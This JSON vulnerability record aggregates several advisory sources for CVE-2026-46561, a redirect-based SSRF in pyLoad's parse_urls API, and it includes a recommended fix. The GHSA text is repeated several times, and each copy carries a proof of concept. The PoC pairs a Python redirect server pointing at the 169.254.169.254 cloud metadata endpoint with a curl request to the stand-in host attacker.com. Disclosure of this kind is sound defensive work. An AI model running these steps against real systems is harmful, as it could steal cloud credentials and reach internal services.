{"id":"CVE-2026-46561","aliases":["EUVD-2026-32956","GHSA-8rp3-xc6w-5qp5","PYSEC-2026-2991"],"status":"published","title":"pyLoad: SSRF via HTTP Redirect Bypass in parse_urls API","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.","severity":{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00176,"percentile":0.07125,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-21T19:54:32Z","modified":"2026-07-13T16:43:03Z","fixes":[{"ecosystem":"PyPI","package":"pyload-ng","fixed_in":["0.5.0b3.dev100"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev100"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev100"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev100"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"products":[{"vendor":"pyload","product":"pyload"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5","tags":["x_refsource_CONFIRM","exploit","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46561","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8rp3-xc6w-5qp5","tags":["advisory"]},{"url":"https://github.com/pyload/pyload","tags":["package"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46561","title":"pyLoad: SSRF via HTTP Redirect Bypass in parse_urls API","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.","status":"published","published":"2026-05-28T17:11:28.966Z","modified":"2026-05-28T18:53:52.113Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:47:06.353366Z"}],"euvd":[{"id":"EUVD-2026-32956","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.","status":"published","published":"2026-05-28T17:11:28Z","modified":"2026-05-28T18:53:52Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:02.186346Z"}],"ghsa":[{"id":"GHSA-8rp3-xc6w-5qp5","title":"pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API","description":"## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\nHTTPServer(('0.0.0.0', 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST 'http://pyload-host:8000/api/parse_urls' \\\n  -H 'Cookie: session=\u003cvalid_session\u003e' \\\n  -d 'url=http://attacker.com:8888/redirect'\n\n# Expected flow:\n# 1. is_global_host('attacker.com') -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.","status":"published","published":"2026-05-21T19:54:32Z","modified":"2026-06-09T10:20:32Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:22.540562Z"}],"nvd":[{"id":"CVE-2026-46561","description":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.","status":"published","published":"2026-05-28T18:16:36.123Z","modified":"2026-06-17T10:53:46.88Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:21.244426Z"}],"osv":[{"id":"GHSA-8rp3-xc6w-5qp5","title":"pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API","description":"## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\nHTTPServer(('0.0.0.0', 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST 'http://pyload-host:8000/api/parse_urls' \\\n  -H 'Cookie: session=\u003cvalid_session\u003e' \\\n  -d 'url=http://attacker.com:8888/redirect'\n\n# Expected flow:\n# 1. is_global_host('attacker.com') -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.","status":"published","published":"2026-05-21T19:54:32Z","modified":"2026-07-13T16:43:03.96440991Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"PYSEC-2026-2991","title":"pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API","description":"## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\nHTTPServer(('0.0.0.0', 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST 'http://pyload-host:8000/api/parse_urls' \\\n  -H 'Cookie: session=\u003cvalid_session\u003e' \\\n  -d 'url=http://attacker.com:8888/redirect'\n\n# Expected flow:\n# 1. is_global_host('attacker.com') -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.","status":"published","published":"2026-07-13T15:19:10.681062Z","modified":"2026-07-13T16:32:35.364273584Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.429374Z"}]}}